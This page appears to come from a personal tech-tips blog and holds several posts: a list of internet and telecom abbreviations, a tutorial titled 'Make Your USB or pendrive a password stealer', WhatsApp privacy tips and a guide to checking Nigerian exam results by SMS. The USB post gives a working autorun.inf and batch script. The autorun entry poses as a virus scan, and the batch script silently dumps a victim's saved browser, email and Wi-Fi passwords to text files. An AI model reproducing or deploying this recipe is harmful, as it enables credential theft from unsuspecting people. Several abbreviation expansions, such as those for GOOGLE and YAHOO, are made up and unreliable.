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Thursday, 16 July 2020

Simple internet abbreviations you need to know


The world is going more advanced in terms of science and technology every blessed day and I guess no one would like to be left behind!

That is why I am here to always feed you with the latest tricks and tips in technological advancement in this our world.

Knowledge they say is power, when you know something no one will cheat you and make you look like a dummy or a foolish person.

If you know something then you will always out smart your peers and friend circle.

here I am going to be listing down some telecommunications/internet abbreviations that might be important to you and might help you out in one way or the other.

Often time you see some of these abbreviations on the internet, your phone, on electronics and many other places,
However, you do not know what they mean and you do not care to know because there is no available resource for you to do that.

But trust me, I have come across such things myself so thought it will be wise to research on them and let you know what some of those abbreviations stands for.

WHY YOU NEED TO KNOW SOME OF THIS ABBREVIATIONS

Many times at some places, you might have wish to have known what a particular abbreviation stands for, but after that time you just feel relax ,

However, I bet you, some of these abbreviations often come up in questions on aptitude test for candidates of the following bodies:

    1. Military aptitude tests (Army, Navy, Air Force, Intelligence corps etc)
    2. Police aptitude tests (Police, Civil Defense, NYSC, Immigration, Custom and Road Safety Corps etc)
    3. Cadet Academies Entrance Exam (Police academy, Defense academy, Corps academies etc)
    4. School Scholarship Aptitude tests (universities and innovative institutions etc)

Therefore, it is important that you should take notes of some of these abbreviations so that you will not fall your hand one and look like a dummy in the public or lose some marks in your entrance exams because of these simple abbreviations that you would have taken notes of.

So without wasting any time, let us get started to some popular abbreviations that you should know about.

HERE ARE SOME ABBREVIATIONS YOU SHOULD KNOW ABOUT

      1. GSM: Global system for mobile communications.
      2. MTN: Mobile telephone network.
      3. NCC: Nigeria communications commission.
      4. SIM: Subscribers identification module.
      5. PUK: PIN unblocking keys.
      6. PIN: Personal identification number.
      7. GOOGLE: Global Organization of Oriented Group Language of Earth.
      8. YAHOO: Yet Another Hierarchically Organized Oracle.
      9. MSN: Microsoft Network.
      10. CCTV: Closed circuit television.
      11. Gmail: Google mail.
      12. Email: Electronic mail.
      13. WI-FI: Wireless fidelity.
      14. OTP: One time password.
      15. USB: Universal serial bus.
      16. ATM: Automated teller machine.
      17. PDF: Portable document format.
      18. HD: High definition.
      19. JPEG: Joint Photographic Experts Group.
      20. NET: Network.
      21. COM: Company/Commercial.
      22. HP: Hewlett-Packard.
      23. LCD: Liquid-crystal-display.
      24. GIF: Graphics Interchange Format.
      25. BMW: Bavarian motor works.
      26. JOB: Just obey boss.
      27. HTC: High tech computer.
      28. HTTP: Hypertext transfer protocol.
      29. HTTPS: hypertext transfer protocols secure.
      30. IDD: International direct dialing.
      31. DC: Direct current.
      32. BAIC: Barring off all incoming calls.
      33. PMB: Per unit billing.
      34. PSB: Per seconds billing.
      35. Bi: Basic information.
      36. OSS: Operational and support sub-system.
      37. HLR: Home location register.
      38. SMS: Short message service.
      39. ISDN: Integrated service digital network.
      40. PC: Personal computer.
      41. PTC: Private telecommunications center.
      42. MRF: Mobile radio frequency.
      43. IMEI: International mobile equipment identity.
      44. CUG: Close users group.
      45. MCC: Mobile country code.
      46. CW: Call waiting.
      47. MMS: Multimedia message service.
      48. WAP: Wireless application.
      49. GPRS: General packet radio service.
      50. RFID: Radio frequency identification.
      51. LAN: Local area network.
      52. APP: Application (s).
      53. WP: WordPress 
      54. FTP: File Transfer Protocol.

Friday, 10 July 2020

Make Your USB or pendrive a password stealer.


Hello buddies, Today I am here with a new article which might be helpful for you when you will lost your password or steal others password for good use. Before going to start I’ve placed some tools that will help you in this article. Which you can easily get it Please use this trick without harming anyone and this post is only for educational purpose. If any harm is given by anyone after reading this post he/she is responsible for it. Let’s begin,

Mail PassView can recover the passwords of the email programs( i.e Gmail, Yahoo, Outlook Express, etc).

ChromePass is a small password recovery tool for Windows that provides you to view the user names and passwords stored by Google Chrome Web browser but for looking at the password saved by it you must know the password of pc if it is protected.

likewise, Password Fox by Mozilla Firefox Web browser which do the same thing.

Web Browser PassView is a password restoration tool that shows the passwords stored by the following Web browsers they are – Internet Explorer, Mozilla Firefox, Google Chrome, and Opera. This tool can recover your lost/forgotten password of any Website, including Facebook, Yahoo, Google, Hagtend, and Gmail, as long as the password is stored by your Web Browser. After retrieving your lost passwords, you can save them into text/HTML/CSV/XML file formats.

WirelessKeyView gains all wireless network keys (WEP/WPA) stored in your computer which is most helpful in many cases.

Follow these simple steps to get the password.

  • Download and extract the files to your desktop and copy all the .exe files to your USB,
  • Create a new file in Notepad and write the subsequent text into the file

[autorun] open=run.bat

ACTION= Scan your device for virus

  • Save the Notepad as “autorun.inf” or rename it to “autorun.inf”,
  • Copy the autorun.inf named file onto your USB Pendrive,
  • Create a different Notepad file and then write the following codes into the file,

start ChromePass.exe /stext ChromePass.txt

start mailpv.exe /stext mailpv.txt
start WebBrowserPassView.exe /
stext WebBrowserPassView.txt
start WirelessKeyView.exe /stext WirelessKeyView.txt
start PasswordFox.exe /stext passwordfox.txt

  • save the notepad file as “run.bat” again copy the same file “run.bat” also to your USB drive’

Now you are almost ready just the last thing you need is user to open those files and then tada… USB password stealer will work. Insert the USB into your computer, open the file and then click on the popup Scan your device for the virus.

when you click on it your USB password stealer will do its magic and all the passwords saved on the system will be saved in .txt file now it’s your wish to make it sync on the cloud for the quick result or just let it save passwords on the USB drive.

If this was helpful to you please feel free to tell to us. Me Manish signing off #peace

Are You Private in Whatsapp? Know how to secure account.


Hey, today I am here to help you with the WhatsApp privacy and security. people these days are focusing on the WhatsApp for messaging and many people have lost or got hacked by hackers. So, here are some tips to do to make your WhatsApp account more secure and private.

Two-step verification the first priority.

One of the most indulgent steps to guard your WhatsApp account is just to enable two-step verification and relax. A supplementary layer of security through 2-step will help you get an instant warning if anyone tries to get into your account.

To apply the two-step verification, open in-app Settings. Then go to Account option and then tap on the two-step verification option. Note that you need to provide an email address that will be used later to recover a six-digit PIN code when you are in difficulty.

If you receive an email to disable two-step verification but didn’t request this, don’t click on the link. Someone could be attempting to verify your phone number on WhatsApp so be careful.

When the phone is lost, stolen or damaged fully.

Most of the internet companies including Google, Apple, and Facebook allow you to incapacitate unrecognized devices or remotely reset the connected device. For WhatsApp, you have two options.

Once you get your new SIM number, re-enter your number and verify on a new device. The WhatsApp app on the older phone will be automatically reset since instant messenger works on one device at a time, for now.

The next choice is to email WhatsApp itself with “Please deactivate my account.” Make sure you provide your correct phone number (also include international format while giving your phone no).

Report to WhatsApp.

If you’re experiencing messages from an untold number you can just block the number and even report it to WhatsApp. To report a WhatsApp number follow these steps

  • Click on the sender name and scroll down to spot “Report Contact”
  • WhatsApp’s Group users can also change the settings to stop anyone from adding you to any groups without your approval.

Hide last seen.

Your WhatsApp privacy settings permit any user to view your “last seen” status. To change this, go to “Settings,” click “Account” > “Privacy” > “Last Seen.” Here, you can pinch your settings so only your contacts can see when you were last using the app so that no one can know the fact but doing this will affect last seen from any part.

Just these were some of the tips or settings that can make your WhatsApp account really secure me, Manish Koirala, signing off #PEACE also stay blessed.

How to check Exam Result with SMS



some candidates/ Student in My country Nigeria mustly always find it hard to check their results after taking an examination here in Nigeria.
How To Check Examination Results Through SMS here in Nigeria is easy
It may be because some of them are not conversant with the use of phone or the internet in checking their results using the provided results checking portals of the various examination bodies I think .
That is why I have decide to put up a Easy step by step guide to ensure that you will be able to check your results using the various SMS results checking numbers provided by the various exam bodies.
THINGS NEEDED TO CHECK YOUR RESULTS USING YOUR MOBILE PHONE

Before you jump into the process of checking your results using only your mobile phone, you should note that there are some important things/requirements that are needed by you in order to do that.
Your mobile phone.
A working SIM card
Make sure you have airtime in the SIM card
With the above listed things, you can be able check your results from the comfort of your home, everyone wants comfort and I believe so do you.
Now to begin the procedures to check the results of some major exam bodies in Nigeria like JAMB, WAEC, and NECO etc.
Am going to start by giving a little information about the various examination bodies and present leaders of the various bodies.
JAMB

JAMB which stands for “joint admission and matriculation board”, was founded in the year 1978 by the Nigeria ministry of education.
The joint admission and matriculation board is a Nigeria based entrance examination for tertiary institutions (universities, polytechnics, colleges, innovative institutions etc)
The joint admission and matriculation board have since inception conducted many examinations for intended candidates wishing to go into higher institutions upon completion of their secondary school education.
Moreover, so far the joint admissions and matriculation board have proven to be capable for the job as can be seen by their past-concluded examinations and other processes of getting candidates into higher institutions.
The present registrar and chief executive of the joint admission and matriculation board is Professor Oloyede who was born October 1954.
HOW TO CHECK YOUR JAMB RESULT USING SMS!

JAMB candidates can check their results with two SMS numbers
(08021001007 and 55019) and the procedures are listed below:
JAMB candidates can simply send RESULT via SMS to 55019 using the same number that was used for registration
After entering the information correctly, your result will be replied as an SMS shortly after.
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The reply will state the candidate’s name and a complete breakdown of the result and the total score:
Example:
Samuel Miracle
Mathematics 70
English Language 75
Physics 78
Chemistry 85
Aggregate: 308
You can as well use this second method to check your JAMB result.
Go to text message on your phone and start a new text message.
Type Scratch card PIN number*Registration*Your GSM phone number and send to 08021001007.
Example: 78497753376*IG87436578*07034545553
Then your result will be sent as the reply of the message you just sent.
HOW TO CHECK YOUR JAMB EXAMINATION CENTER

Knowing how to check your JAMB examination center can come in handy especially if you misplace your printed examination slip.
Go to text message and type
JAMB registration number*Scratch card PIN number and send to 32327
Example: IG87436578*78497753376
WAEC

WAEC stands for “west African examination council” and it was established in the year 1952 with the aim of conducting secondary school final year examination for SS3 students among member nations.
Some of the member countries are Nigeria, Ghana, Sierra Leone, Liberia and the Gambia.
The head of WAEC at the headquarter is Mr. Pateh Bah and the national leader here in Nigeria is Mr. Patrick Areghan.
HOW TO CHECK YOUR WAEC RESULT USING SMS

To check your WAEC result using SMS:
Go to text message and start a new message by typing in the following on the new text message screen:
WAEC*Exam Number*PIN*Exam Year and send to 32327
(MTN, CELTA and GLO subscribers only)
Example:
WAEC*6734348347*676367348394317*2020 and send to 32327
NOTE: Ensure you adhere to the format above.
There should be no space in the message.
Wait for your result to be delivered to your phone via SMS (cost N30 only)
NECO

NECO stands for national examination council and it was formed by the federal government of Nigeria as an examination body for secondary school final year students in Nigeria and an alternative to WAEC.
A former head of state in Nigeria formed it in April 1999 and the geographic scope is in Nigeria only to take up the responsibilities of the national board for educational measurement (NBEM) that was already in operation.
HOW TO CHECK YOUR NECO EXAM THROUGH SMS

To check your NECO result through SMS just goes to text message and key in the following:
NECO*registration number*year of exam* NECO scratch card pin number and send to 32327
Example:
NECO*6734348347*2020*657865939837563785 and send to 32327
That is it, I have been able to cover some major examination body in Nigeria and this article will always be updated with any new development in checking your examination result with SMS and any other examination body that will be added in the future.
Read Also: how to spy on someone using your mobile phone
Conclusion:

Checking some of the major examination results through text and SMS is good, as it will save you some time and cost of data and other things.
So just reread this post carefully and ensure to do as stated and follow all the text-messaging rules as stated above to avoid making a mistake.
What do you think?
Have any question to ask me? Do that using the comment box and I will reply you immediately or you can use the contact page to message me and I will ensure to reply you as soon as possible.
Have you tried checking your result? Let me know by dropping a comment below.
Go around the blog and look for other articles to read and be informative in this technological advanced world so you can remain at the top of the game and outsmart your peers and friends circle.